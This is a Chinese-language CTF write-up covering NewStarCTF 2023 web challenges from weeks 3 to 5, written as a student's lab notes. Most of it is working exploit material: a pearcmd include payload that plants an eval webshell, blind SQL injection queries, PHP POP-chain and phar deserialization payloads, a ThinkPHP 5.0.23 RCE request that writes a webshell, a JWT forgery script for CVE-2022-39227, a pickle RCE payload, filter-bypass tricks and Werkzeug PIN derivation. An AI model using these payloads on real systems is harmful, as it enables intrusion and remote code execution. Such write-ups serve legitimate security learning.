NewstarCTF2023 ——Jednersaous
WEB-week3 include pear 这道题是我没见过的,本来一开始还没意识到题那个梨的emoji是什么意思,后来才恍然大悟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 ); if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (preg_match ('/flag|log|session|filter|input|data/i' , $file )) { die ('hacker!' ); } include ($file .".php" ); } else { highlight_file (__FILE__ ); }?>
看到include第一反应应该是php伪协议,但是后面限制了文件后缀,其实过不过滤也差不多?除非又能把后面的.php给无效了
题目说phpinfo.php里有东西,结果找到个fakeflag= fake{Check_register_argc_argv}
打开源码Ctrl+f 开搜,发现register_argc_argv=1,好,那么好,又得浏览器开搜了(没见过啊
找到了LFI,RCE,pearcmd等好多东西
参考连接:
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/
https://blog.csdn.net/qq_50643984/article/details/126598547
甚至有去年Newstar的同类型题???(绷
https://blog.csdn.net/weixin_53090346/article/details/127241278
但我搜了是搜了,确实是没理解,什么LFI to RCE云云,确实是没太懂
payload:
1 http:靶机ip?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST [1 ])?>+/var/www/html/a.php
Pay attetion here:一定要用Burp传这个payload,不然在url里传会被直接转义,然后gg
传payload之后,会在默认开启web服务的文件夹下新建一个a.php,其中有你传入的代码,传入成功是有回显的
随后就可以打开http:靶机ip/a.php
然后hackbar传参给1这个变量,可以看到这个是不出网的,不用拿shell
直接1=system(‘cat /flag’);这个/flag在题目源码中有暗示
虽然没懂,但是涨知识了(?
至少我知道了这个代码怎么工作,那些巨擘们是完全理解了之后才能写出这样的payload的话
那也太恐怖了……
——————————————————————————————————————————
medium_sql 稍微开了下环境做了下,由于我没看wp不知道别人是怎么做的,但我从上一题沿用的盲注好像还是能行啊?
盲注永远的神(???
这次我一定写一个脚本来注(他妈的
没对大小写进行过滤
1 2 3 4 5 6 7 payload: ASCII(SUBSTR((SELECT table_name from INFORMATION_ schema.`TABLES` Where table_schema = database() limit 0,1),1,1)) length(SELECT table_ name from INFORMATION_schema.`TABLES` Where table_ schema = database() limit 0,1)>=3 ASCII(SUBSTR((SELECT column_name from INFORMATION_ schema.`COLUMNS` Where table_name='grades' limit 0,1),1,1)) ASCII(SUBSTR((SELECT column_ name from INFORMATION_schema.`COLUMNS` Where table_ name='here_is_ flag' limit 0,1),1,1))
用我这个没问题(笑
偷懒——————————————————————————————————————
POP Gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } }class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } }class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } }class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } }class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } }class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
我对于php序列化和反序列化的认知还停留在十分简单的阶段,这题确实是给了我当头一棒,我也认识到了什么是POP链
参考:https://www.cnblogs.com/th0r/p/14152102.html
https://www.php.net/manual/zh/language.oop5.magic.php
首先对源码做一下分析:
直接看最后,定义了两个可以传入的参数$func,$var,还有个__unset函数里面调用了如下式子
1 ($this ->func)($this ->var )
看起来就很像能够执行system命令的样子
看到WhiteGod类调用了__unset魔术方法,php官网的解释是
当对不可访问(protected 或 private)或不存在的属性调用unset()时, __unset会被调用
回到源码中去找哪里调用了unset()函数,可以看到CTF类调用了unset
且unset传入的参数是$this->handle->log,handle有定义可控,但是log又是什么属性呢(?
暂时先不管,总之是要把handle设置为new WhiteGod()以便能调用__unset
其实正是对未定义的属性调用了unset(),所以才会触发__unset,因此没必要考虑log是什么,就是个未定义量
回到CTF类,调用unset的定义函数是end(),我们要在注入POP链后执行end函数,那么应该从哪里去找调用$CTF.end()的地方呢
可以看到Handle类中有魔术方法__call,php官网的解释是
在对象中调用一个不可访问方法时,__call会被调用
显然Handle类中的protected $obj应该就是一个CTF类,这样便可以调用end()方法
可以发现Super类中有魔术方法__invoke,php官网的解释是
当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用
所以我们只需要找到形如$object()这样的表达式,最后发现Then类调用了($this->func)(),所以
($this->func)应为一个Super类,但是要触发($this->func)(),必须先触发__toString魔术方法,php官网的解释是
__toString方法用于一个类被当成字符串时应怎样回应
最经典的就是echo,print等函数,在这道题目中,我们可以发现Begin的__destruct魔术方法调用了preg_match
这是一个经典的字符串处理函数,所以只需要保证$this->name是我传入的一个Then类即可
综合上述,我们已经可以得到一条逻辑链
1 2 3 4 5 Begin :$this->name ---------> Then Then :$this->func ---------> Super Super :$this->obj ---------> Handle Handle :$this->obj ---------> CTF CTF:$this ->handle ---------> WhiteGod
Pay attention:
值得注意的是,在php序列化过程中,对于public,protected,private变量的序列化有所不同
对于public变量是直接var_dump(),没有加任何的保护
对于protected变量,假设protected $a=’123’,那么序列化之后就是s:6:%00 %00123,我将其与public变量序列化不同的部分加粗,所以在传参的时候最好使用burp,在Hex栏中在 号的前后补上hex(00),以充当%00
对于private变量,假设protected $a=’123’,且类名为number,那么序列化之后就是s:11:%00number%00 123,在php-echo预览出来的效果是没有%00的,就是类名加上数据,传参同protected
其次需要用得到一些OOP的思想,首先我们明确一点:protected和private变量在类外部是不可写的
所以在写poc的时候,不能用$a->protected variable来修改其值,而是得在类的内部重新写一个public方法
用这个public方法来修改protected或者private变量的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 poc:<?php class Begin { public $name ; }class Then { private $func ; public function construct ($k ) { $this ->func=$k ; } }class Handle { protected $obj ; public function construct ($k ) { $this ->obj=$k ; } }class Super { protected $obj ; public function construct ($k ) { $this ->obj=$k ; } }class CTF { public $handle ; }class WhiteGod { public $func ='var_dump' ; public $var ='666' ; }$a = new Begin ();$b =new Then ();$c =new Super ();$d =new Handle ();$e =new CTF ();$f =new WhiteGod ();$e ->handle=$f ;$d ->construct ($e );$c ->construct ($d );$b ->construct ($c );$a ->name=$b ;echo serialize ($a );
传参用burp然后修改hex就可^ _ ^
——————————————————————————————————————————————————
R!!!C!!!E!!! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );class minipop { public $code ; public $qwejaskdjnlka ; public function __toString ( ) { if (!preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $this ->code)){ exec ($this ->code); } return "alright" ; } public function __destruct ( ) { echo $this ->qwejaskdjnlka; } }if (isset ($_POST ['payload' ])){ unserialize ($_POST ['payload' ]); }
确实是minipop,先处理POP链,要调用__toString魔术方法中的exec()方法,我们要把一个类当做字符串来处理,看到minipop类中__destruct魔术方法中有echo,那懂了啊,就是把$this->qwejaskdjnlka变成上面提到的类就行了,虽然这两个类是一样的,但是问题不大
再回到__toString里的exec(),可以看到exec($this->code),所以说我们传入给qwe属性的这个类要写入能够RCE的code属性,至于外层minipop类的code属性可以不管,同时内层minpop类的qwe属性也可以不管
接下来就是如何RCE然后读文件或者下载什么的
首先要明确exec()和system()的区别
exec是没有回显的,除非传多个参数,那么会将第一个参数的内容存入第二个参数中,所以ls不会返回到页面上
而且exec失败的话会报错,对于查看是否成功RCE很友好
可以传code属性为sleep 3,这样可以让相应延迟3秒,也能查看是否成功RCE
看一下preg_match,嗯,能过滤的都过滤了,但是没有过滤单双引号,可能如果过滤了就传不了序列化对象了?
那就很好绕过了,对于php的preg_match,毕竟是php的东西,要过滤linux的智能匹配可太难了
比如ba””se,ex””ec,py””thon,这些都是可以执行的,翻解法的时候看到了tee方法,很好用,用了之后确实很好用
所以就用te””e来代替传入code属性中的tee就行了
参考:
https://www.php.net/manual/zh/function.exec.php
https://blog.csdn.net/Kracxi/article/details/121997166
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 exp:<?php highlight_file (__FILE__ );class minipop { public $code ; public $qwejaskdjnlka ; public function __toString ( ) { if (!preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $this ->code)){ exec ($this ->code); } return "alright" ; } public function __destruct ( ) { echo $this ->qwejaskdjnlka; } }$a =new minipop ();$b =new minipop ();$b ->qwejaskdjnlka=$a ;echo serialize ($b );
拿到序列化后的值用hackbar传post参数就行
1 2 payload1: O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:12:"ls | te""e 1";s:13:"qwejaskdjnlka";N;}}
先传入第一个payload1,然后可以访问/1页面,就能看到ls输出的返回值,如果没有flag就多试几次cd和ls
(一般不会为难人
1 2 payload2: O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_ h3eeere | te""e 2";s:13:"qwejaskdjnlka";N;}}
发现flag_is_h3eere在根目录下,直接cat就行了,用tee下载到/2页面上
访问/2页面就能拿到flag
——————————————————————————————————————————————————
WEB-week4 逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); }class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } }unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
可以看到页面显示system(‘whoami’)的结果被打印了两次,第一次是在定义一个新的GetFlag类的时候,调用了__destruct()魔术方法,会自动执行system函数并回显到浏览器上
第二次是反序列化的时候,相当于将传入的序列化后的GetFlag类重新变成GetFlag类,也会调用__construct()和__destruct()
首先分析一个单独的GetFlag类,明显可以看出我们可控的变量仅有$key,而$cmd是我们无法控制的
单纯修改$key的值几乎没什么用,所以可能需要多个类来形成POP链
但是很显然,我$_GET[‘key’]传入的key值不可能是个类型,所以也没法传入一个类了
看到str_replace,把所有bad换成good,每换一次字符长度+1,但是序列化后字符长度值不变,
那就=Moe~夺命十三枪,不难,构造一下Payload吧
1 2 3 4 5 6 7 8 9 10 Payload: need:";s:3:" cmd";s:2:" ls badbad...bad ...==need badbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:2:" ls Final: key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:2:" ls key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:9:" cat /flag
——————————————————————————————————————————————————
More Fast 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } }class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } }class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } }class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } }class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } }class Misc { public function evil ( ) { echo "good job but nothing" ; } }$a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" );
又双叒是POP链题,恼(
1 2 3 4 5 6 Start.errMsg =Crypto //Crypto之__toStringCrypto.obj =Reverse //Reverse之__getReverse.func =Pwn //Pwn之__invokePwn.obj =Web or Misc ?? //Web&Misc之evil()Web.func ='system' Web.var ='ls'
恼,不做了(\ud83d\ude21)
——————————————————————————————————————————————————
midsql 1 2 3 $cmd = "select name, price from items where id = " .$_REQUEST ["id" ];$result = mysqli_fetch_all ($result );$result = $result [0 ];
粗试了一下,发现过滤了空格和=
而且这压根就没有执行任何有效的sql嘛,只有result的莫名嵌套,所以是不会有任何结果的
传入的是个字符型变量,但是检测应该是发生在拼接语句之前的,所以照理应该是可以执行id里的php语法
直接打个sleep(2)进去,网页直接开睡,原来直接RCE就行了(?
就是好像没有回显,所以这…难不成是要拿shell嘛,但是呢好像有点不太对,因为堆叠用不了
比如1;sleep(1)网页是不睡的,所以得重新审视一下逻辑
1 2 -1 orsleep (2 )1 &&sleep (2 )
以上POC均不行,要不就是输进去就network-err
我懂了,我发现sleep(1);sleep(1)也不会让网页睡觉,所以只有当id是个可执行的短语句(不能有分号)才会执行
——————————————————————————————————————————————————
Injectme 目录穿越先拿源码,密钥未知试试读取一下config,没想到确实有(其实没有就做不下去了
1 secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
ezSSTI(wrong
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport osimport sys sys.path.append(r'C:\Users\Jednersaous\Desktop\web-test\build\flasksessioncookiemanagermaster' )import flask_session_cookie_manager3 cookie_structure = "{'user': \"{% print([]['_''_cla''ss_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[117]['_''_ini''t_''_']['_''_glo''bals_''_']['po''pen']('ca''t /y0U3_f14g_1s_h3re')['read']()) %}\"}" print (cookie_structure) secret = 'y0u_n3ver_k0nw_s3cret_key_1s_newst4r' payload = flask_session_cookie_manager3.FSCM.encode(secret,cookie_structure)print (payload)
——————————————————————————————————————————————————
PharOne phar反序列化,检测__HALT_COMPILER()
,用gzip
绕过
无回显rce,有写入权限,直接在/var/www/html
下新写一个可以回显的:horse:
至于反弹shell,没成功,原因未知(((
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $cmd ; }$a = new Flag ();$a ->cmd="echo '<?=system(\$_GET[1]);?>'>/var/www/html/1.php" ;$phartest = new phar ('pharone.phar' ,0 );$phartest ->startBuffering ();$phartest ->setMetadata ($a );$phartest ->setStub ("<?php __HALT_COMPILER();?>" );$phartest ->addFromString ("test.txt" ,"test" );$phartest ->stopBuffering ();?>
——————————————————————————————————————————————————
OtenkiBoy Week3OtenkiGirl的加强版,还是JavaScript原型链污染
主要分析routes/info.js,routes/submit.js,routes/_components/utils.js
可以发现utils.js中的mergeJSON()函数仍然是一个递归的可浅可深的拷贝,但是过滤了__proto__
那么可以用{'constructor':{'prototype':''}}
来绕过,这两者是等价的
其余的剩下再打
——————————————————————————————————————————————————
WEB-week5 Unserialize Again 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );error_reporting (0 ); class story { private $user ='admin' ; public $pass ; public $eating ; public $God ='false' ; public function __wakeup ( ) { $this ->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag ; } } public function __construct ( ) { $this ->user='AshenOne' ; $this ->eating='fire' ; die (); } public function __tostring ( ) { return $this ->user.$this ->pass; } public function __invoke ( ) { if ($this ->user=='admin' &&$this ->pass=='admin' ){ echo $nothing ; } } public function __destruct ( ) { if ($this ->God=='true' &&$this ->user=='admin' ){ system ($this ->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET ['pear' ])&&isset ($_GET ['apple' ])){ $pear =$_GET ['pear' ]; $Adam =$_GET ['apple' ]; $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam ); }else { echo '多吃雪梨' ; } 多吃雪梨
一堆魔术方法都是骗人的,只有__destruct__
有用,满足条件就能任意命令执行了,接下来是传参的部分
首先要明确file_get_contents('php://input')
可以读取POST参数,但是呢会保留raw_data
比如说单单传入一个或多个字符是不行的,必须有a=123
这样类似的形式,再看下一行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 所以会保留```a=xxx```这样子,可以自己在本地测试下,不过这个对于做题倒是无伤大雅,因为phar只会解析有用的 看到```file_exist```很明确是```phar://```打一个phar反序列化,就是文件写入有点麻烦,而且还要绕过```__wakeup__``` 浏览器抓包可以发现php版本是7.0.9,而php7.0.10就不能通过改变属性个数绕过```__wakeup__```了,所以这题还行 但是当你生成phar后再修改,那么phar的签名就无效了,必须得重新加密签名,详见下面的博客 > https://www.cnblogs.com/CoLo/p/16786627.html 而且传文件得用python(我只会python,hackbar和burp全都寄,用open+read读bytes类型数据 然后用```urllib.parse.quote```将bytes数据给它url编码了,虽然说是只能传string类型,但其实可以自动转化的 POC: ```python from hashlib import sha1 import os import requests import urllib.parse urll='http://391ffc99-a75c-4ecd-baa4-edac1b638dff.node4.buuoj.cn:81/pairing.php' paramss={ 'pear':'unsea.phar', 'apple':'phar://unsea.phar' } with open('pharseax.phar','rb') as file: f=file.read() s=f[:-28] h=f[-8:] newf = s + sha1(s).digest() + h with open('unsea.phar','wb') as file: file.write(newf) with open('unsea.phar','rb') as fi: f=fi.read() ff=urllib.parse.quote(f) fin=requests.post(url=urll,data=ff,params=paramss) print(fin.text)
——————————————————————————————————————————————————
Final Thinkphp-V5.0.23的RCE漏洞,但是照着网上搜到的抄是无结果的,因为system被disable了
1 2 3 4 5 6 7 POST /index.php?s=captcha _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1 ##可以看到phpinfo里禁用了system _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20' <?php %20 eval ($_POST ['cmd' ]);?> '%20>%20/var/www/public/1.php ##写webshell,用蚁剑连接
到根目录之后想直接cat flag
,但是没权限,姑且先搜下SUID,但是搜出来无回显,得写到txt里再读取
1 2 find / -user root -perm -4000 -print 2>/dev/null > 1.txt cp /flag* /dev/stdout
看了writeup,没懂,打算看看SUID提权
SUID(Set User ID)是给予文件一个特殊类型的权限。具体作用就是把可执行程序所有者的权限赋予可执行程序,无论执行程序的是哪位用户,可执行程序都拥有它的所有者的权限,对于root的文件权限会由rwxr变为rwsr
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID
Real UID 执行该进程的用户实际的UID;
Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限);
Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
Real UID 执行该进程的用户实际的UID,谁通过shell运行就是谁 Effective UID 程序实际操作时生效的UID,一般在进程启动时,直接由Real UID复制而来;或者是当进程对应的可执行文件的suid标志位为s时,为该文件的所属用户/组。所以利用suid文件进行提权需要2个前提:文件的所有者是 0 号或其他super user 文件拥有suid权限
0是root用户的UID
设置SUID权限
1 2 chmod u+s filename chmod u-s filename # 删除SUID权限
利用find命令找出linux系统上所有SUID的可执行文件
1 2 3 4 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ls -l /usr/bin
分析一下cp /flag* /dev/stdout
执行一个shell命令行时通常会自动打开三个标准文件:
标准输入文件(stdin),通常对应终端的键盘;
标准输出文件(stdout)和标准错误输出文件(stderr),这两个文件都对应终端的屏幕。
进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。所以stdout可以将输入的信息输出到终端上
——————————————————————————————————————————————————
Ye’s Pickle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import base64import stringimport randomfrom flask import *import jwcrypto.jwk as jwkimport picklefrom python_jwt import * app = Flask(__name__)def generate_random_string (length=16 ): characters = string.ascii_letters + string.digits random_string = '' .join(random.choice(characters) for _ in range (length)) return random_string app.config['SECRET_KEY' ] = generate_random_string(16 ) key = jwk.JWK.generate(kty='RSA' , size=2048 )@app.route("/" ) def index (): payload=request.args.get("token" ) if payload: token=verify_jwt(payload, key, ['PS256' ]) session["role" ]=token[1 ]['role' ] return render_template('index.html' ) else : session["role" ]="guest" user={"username" :"boogipop" ,"role" :"guest" } jwt = generate_jwt(user, key, 'PS256' , timedelta(minutes=60 )) return render_template('index.html' ,token=jwt)@app.route("/pickle" ) def unser (): if session["role" ]=="admin" : pickle.loads(base64.b64decode(request.args.get("pickle" ))) return render_template("index.html" ) else : return render_template("index.html" )if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
上来首先是要考虑一个jwt,用了之前没见过的库jwcrypto, python_jwk
,页面会回显token
然而,SECRET_KEY和key
的数量级过大,实在没法强行爆破,也没有任何关于他们的信息,所以到这里就卡住了
卡了半天,无奈只能看题解,结果是个CVE,没绷住,CVE-2022-39227,参考以下博客
https://forum.butian.net/share/1990
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import base64import stringimport randomfrom flask import *from json import *import jwcryptoimport jwcrypto.jwk as jwkimport picklefrom python_jwt import * key = jwk.JWK.generate(kty='RSA' , size=2048 )print (type (key))print (key) user={"username" :"boogipop" ,"role" :"guest" } jwt = generate_jwt(user, key, 'PS256' , timedelta(minutes=60 ))print (jwt) jwt='页面回显的token' [header, payload, signature] = jwt.split('.' ) parsed_payload = loads(base64url_decode(payload))print (parsed_payload) parsed_payload['role' ]="admin" fakepayload=base64url_encode((dumps(parsed_payload, separators=(',' , ':' )))) fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' print (fakejwt)
下一步就是pickle的问题,pickle嘛,是个新东西,先待我看看和整理一下
参考以下大神blog
https://goodapple.top/archives/1069
https://xz.aliyun.com/t/11807
但是这道题单纯地用什么os.system('ls /')
肯定出不来,因为没有回显,全是模板,那么无回显该怎么办呢
参考以下博客
https://www.cnblogs.com/sijidou/p/16305695.html
所以思路是这样:
随便定义一个类,再调用它的内置方法__reduce__
,return
一个tuple
类型的对象,其中tuple[0]
是可执行的内置函数,tuple[1]
是给函数传入的字符串方法(一般是系统命令,然后再用pickle.dumps
序列化这个随便定义的类就行了(一般是会base64加解密的
而这里因为没有回显,但是因为debug=True
,所以可以通过控制台报错回显(((太妙了
raise Exception()```括号内内置```__import__('os').system/popen.read()```就可以了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 最终payload: ```python import pickle import base64 import os class Jex(): def __reduce__(self): return (exec,("raise Exception(__import__('os').popen('cat /flagggggggggggg').read())",)) def login(): poc = base64.b64encode(pickle.dumps(Jex())) print(poc) login()
——————————————————————————————————————————————————
pppython? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if ($_REQUEST ['hint' ] == ["your?" , "mine!" , "hint!!" ]){ header ("Content-type: text/plain" ); system ("ls / -la" ); exit (); } try { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $_REQUEST ['url' ]); curl_setopt ($ch , CURLOPT_CONNECTTIMEOUT, 60 ); curl_setopt ($ch , CURLOPT_HTTPHEADER, $_REQUEST ['lolita' ]); $output = curl_exec ($ch ); echo $output ; curl_close ($ch ); }catch (Error $x ){ highlight_file (__FILE__ ); highlight_string ($x ->getMessage ()); }?> curl_setopt (): The CURLOPT_HTTPHEADER option must have an array value
先打一下hint,判断传入的hint
等于一个数组,直接用hint[]
传参就行
1 http://ad9e0451-31fe-4654-85e8-c9fcba3c34d8.node4.buuoj.cn:81/?hint [0 ]=your?&hint[1]=mine!&hint[2]=hint!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 total 12 drwxr-xr-x 1 root root 51 Nov 29 10:45 . drwxr-xr-x 1 root root 51 Nov 29 10:45 .. -rwxr-xr-x 1 root root 0 Nov 29 10:45 .dockerenv -rwxr-xr-x 1 root root 353 Oct 19 15:52 app.py lrwxrwxrwx 1 root root 7 Nov 22 2021 bin -> usr/bin drwxr-xr-x 2 root root 6 Nov 8 2021 boot drwxr-xr-x 5 root root 360 Nov 29 10:45 dev drwxr-xr-x 1 root root 66 Nov 29 10:45 etc -rw------- 1 root root 43 Nov 29 10:45 flag drwxr-xr-x 2 root root 6 Nov 8 2021 home lrwxrwxrwx 1 root root 7 Nov 22 2021 lib -> usr/lib lrwxrwxrwx 1 root root 9 Nov 22 2021 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Nov 22 2021 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Nov 22 2021 libx32 -> usr/libx32 drwxr-xr-x 2 root root 6 Nov 22 2021 media drwxr-xr-x 2 root root 6 Nov 22 2021 mnt drwxr-xr-x 2 root root 6 Nov 22 2021 opt dr-xr-xr-x 3994 root root 0 Nov 29 10:45 proc drwx------ 1 root root 20 Oct 19 15:52 root drwxr-xr-x 1 root root 21 Oct 19 15:50 run lrwxrwxrwx 1 root root 8 Nov 22 2021 sbin -> usr/sbin drwxr-xr-x 2 root root 6 Nov 22 2021 srv -rwx------ 1 root root 241 Oct 19 15:52 start.sh dr-xr-xr-x 13 root root 0 Sep 19 01:23 sys drwxrwxrwt 1 root root 6 Nov 29 10:45 tmp drwxr-xr-x 1 root root 19 Nov 22 2021 usr drwxr-xr-x 1 root root 17 Oct 19 15:49 var
看一下curl_init,curl_setopt,curl_close
,新东西查点资料,好像是curl
能够爬取其他站点的内容(
那这就有点鸡肋了啊,总不至于让你请求钓鱼网站然后中病毒木马什么的吧
查了一下,可以用file://
伪协议读,那就挺好,一看权限,好读的也就app.py
了
但是得注意一下curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita'])
,传入的要是一个数组
所以又用lolita[]
小绕一下先,先读到再说…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask, request, session, render_template, render_template_stringimport os, base64 app = Flask(__name__) app.config['SECRET_KEY' ] = '******' @app.route('/' ) def welcome (): if session["islogin" ] == True : return "flag{***********************}" app.run('0.0.0.0' , 1314 , debug=True )1
有个提示#from NeepuF1Le import neepu_files
,就搜了一下,结果搜到出题人打NeepuCTF的题解了
感觉就是根据NeepuCTF的Cute Cirno改编的,有异曲同工之妙,但是就算SSRF了1314端口也拿不到真的flag(
所以应该是要算pin码了,趁着这个时机好好学一下算pin码
username,用户名(/etc/passwd里面找((太草了)
modname,默认值为flask.app
appname,默认值为Flask
moddir,flask库下app.py的绝对路径(报错好搞
uuidnode,当前网络的mac地址的十进制数(/sys/class/net/eth0/address)
machine_id,docker机器id(如果是docker靶机的话
1 /etc/ machine- id`或者`/proc/ sys/kernel/ random/boot_id`其中一个拼接上`/ proc/self/ cgroup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 root: x: 0 : 0 :root :/root :/bin/bash daemon: x: 1 : 1 :daemon :/usr/sbin :/usr/sbin/nologin bin: x: 2 : 2 :bin :/bin :/usr/sbin/nologin sys: x: 3 : 3 :sys :/dev :/usr/sbin/nologin sync: x: 4 : 65534 :sync :/bin :/bin/sync games: x: 5 : 60 :games :/usr/games :/usr/sbin/nologin man: x: 6 : 12 :man :/var/cache/man :/usr/sbin/nologin lp: x: 7 : 7 :lp :/var/spool/lpd :/usr/sbin/nologin mail: x: 8 : 8 :mail :/var/mail :/usr/sbin/nologin news: x: 9 : 9 :news :/var/spool/news :/usr/sbin/nologin uucp: x: 10 : 10 :uucp :/var/spool/uucp :/usr/sbin/nologin proxy: x: 13 : 13 :proxy :/bin :/usr/sbin/nologin www-data: x: 33 : 33 :www-data :/var/www :/usr/sbin/nologin backup: x: 34 : 34 :backup :/var/backups :/usr/sbin/nologin list: x: 38 : 38 :Mailing List Manager :/var/list :/usr/sbin/nologin irc: x: 39 : 39 :ircd :/run/ircd :/usr/sbin/nologin gnats: x: 41 : 41 :Gnats Bug -Reporting System (admin):/var/lib/gnats :/usr/sbin/nologin nobody: x: 65534 : 65534 :nobody :/nonexistent :/usr/sbin/nologin _apt: x: 100 : 65534 : :/nonexistent :/usr/sbin/nologin /usr/local/lib/python3.10 /dist-packages/flask/app.py /sys/class /net/eth0/addressea: 77 : 05 : 58 :af : 2f->ea770558af2f->257796911705903 /proc /sys/kernel/random/boot_id 8cab9c97-85be-4fb4-9d17-29335d7b2b8a /proc /self /cgroup aaf831f68f4d63d20b2aa0cf361710787006861f59aff5c33aa21641dde24948 s li0Abbstc8jO5ov16OhS
照着脚本倒是可以算了,但是因为是php的curl
,所以只能用爬取数据,但是无论如何先用POST试一下把
POST也不行,我的username试了root和www-data来着,总不可能是username的问题把,感觉就是没法访问的问题((
